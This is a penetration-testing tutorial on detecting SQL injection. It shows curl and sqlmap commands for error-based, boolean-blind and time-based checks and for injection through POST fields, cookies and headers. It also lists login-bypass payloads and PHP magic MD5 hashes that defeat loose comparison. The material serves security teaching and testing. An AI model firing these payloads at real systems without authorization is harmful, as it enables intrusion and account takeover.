Skip to content

SQL Injection Detection

5 min read Created Mar 28, 2026 Last updated Aug 11, 2026

SQL injection detection confirms whether user-supplied input is interpreted by a backend database. The goal here is to prove the condition exists and identify the injection type: not to extract data. Confirmed injection moves to SQL injection exploitation.

  • Error-based detection injects a single quote and watches for database error messages in the response.
  • Boolean-blind detection compares response sizes between true (1=1) and false (1=2) conditions.
  • Time-based blind detection injects SLEEP or WAITFOR DELAY and measures the response delay.
  • POST and header injection tests login forms, cookies, and headers like X-Forwarded-For.
  • sqlmap automated detection scans multiple parameters and injection types with one command.

Target any parameter that likely hits a database: id, user, search, category, order, sort, page, filter. Parameters discovered during parameter crawling are your starting list.

Error-Based Detection

Inject a single quote and watch for database error messages in the response. An error proves the input reaches a SQL query without sanitization:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1'" | grep -iE 'sql|mysql|syntax|error|warning|ORA-|pg_'
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1\"" | grep -iE 'sql|syntax|error|warning'

A MySQL syntax error is a confirmed injection point. Note the database type from the error message: it determines the payload syntax for exploitation. ORA- prefix means Oracle, pg_ means PostgreSQL.

Boolean-Based Blind Detection

When errors are suppressed, compare responses between a true and false condition. Different response sizes or content confirm blind SQLi:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND 1=1" | wc -c
4823
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND 1=2" | wc -c
612

Different response sizes for true versus false conditions confirms boolean-blind SQLi. The true condition returns the normal page while the false condition returns a shorter or empty page.

Time-Based Blind Detection

When no response difference is visible, inject a sleep and measure the delay. This works even when the application returns identical responses for all inputs:

┌──(kali㉿kali)-[~]
└─$ time curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND SLEEP(5)-- -"
real    0m5.123s
┌──(kali㉿kali)-[~]
└─$ time curl -sk "http://$TARGET_IP:$PORT/index.php?id=1; WAITFOR DELAY '0:0:5'--"

A 5-second delay matching the SLEEP parameter confirms time-based blind SQLi. SLEEP is MySQL syntax. WAITFOR DELAY is MSSQL. pg_sleep(5) is PostgreSQL. Try all three if the database type is unknown.

POST Parameter and Header Injection

SQLi is not limited to GET parameters. Test POST bodies, cookies, and HTTP headers:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST http://$TARGET_IP:$PORT/login -d "username=admin'--&password=anything" | grep -iE 'sql|syntax|error|welcome|dashboard'
┌──(kali㉿kali)-[~]
└─$ curl -sk http://$TARGET_IP:$PORT/dashboard -H "Cookie: user_id=1'" | grep -iE 'sql|error|syntax'
┌──(kali㉿kali)-[~]
└─$ curl -sk http://$TARGET_IP:$PORT/ -H "X-Forwarded-For: 1'" | grep -iE 'sql|error|syntax'

Automated Detection with sqlmap

sqlmap automates all detection types. Use it for quick confirmation across multiple parameters:

┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://$TARGET_IP:$PORT/index.php?id=1" --batch --level=3 --risk=2
Explain command
--batch Non-interactive mode, use default answers for all prompts.
--level=3 Test depth: includes cookie, User-Agent, and Referer injection points.
--risk=2 Risk level: includes time-based and heavy OR-based payloads.
┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://$TARGET_IP:$PORT/index.php?id=1" --batch --forms --crawl=2

Authentication Bypass Payloads

Login forms are a common SQL injection target because the backend query compares submitted credentials directly against the database. If the WHERE clause uses user input without parameterization, a payload can make the condition always true and bypass authentication entirely.

' OR 1=1--
' OR '1'='1
admin'--
' OR 1=1#
" OR 1=1--
admin" OR "1"="1
') OR ('1'='1
admin')--

The comment character at the end of a payload is critical because it truncates the rest of the original query. Database-specific comment variants:

  • -- (with a trailing space) works on MySQL, MSSQL, and PostgreSQL
  • # is MySQL-specific
  • /* works as a block comment on MySQL, MSSQL, and PostgreSQL

Try all three when the backend database is unknown. A payload that works with # but not -- confirms MySQL.

Test each field independently: inject in the username field with an arbitrary password first, then try a valid username with the payload in the password field. Some applications validate one field before constructing the query with the other.

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST http://$TARGET_IP:$PORT/login -d "username=admin'--&password=anything" -v 2>&1 | grep -iE 'location|welcome|dashboard|302'
< HTTP/1.1 302 Found
< Location: /dashboard
┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST http://$TARGET_IP:$PORT/login -d "username=admin&password=' OR 1=1#" -v 2>&1 | grep -iE 'location|welcome|dashboard|302'

A 302 redirect to a dashboard or admin panel confirms the bypass. Check the response body for authenticated content such as session tokens or user details.

Raw Hash Bypass (PHP Loose Comparison)

When a PHP application stores password hashes and compares them with == instead of ===, certain MD5 hashes starting with 0e followed by only digits are interpreted as zero in scientific notation. Two different strings whose MD5 hashes both match 0e[0-9]+ compare as equal under loose comparison.

240610708  -> MD5: 0e462097431906509019562988736854
QNKCDZO   -> MD5: 0e830400451993494058024219903391
aabg7XSs  -> MD5: 0e087386482136013740957780965295
aabC9RqS  -> MD5: 0e041022518165728065344349536299

If the login form hashes the submitted input and compares it loosely against the stored hash, submitting one of these strings as the password for a user whose hash also starts with 0e bypasses authentication. This is PHP-specific and only applies when comparison uses == on the hash strings.

References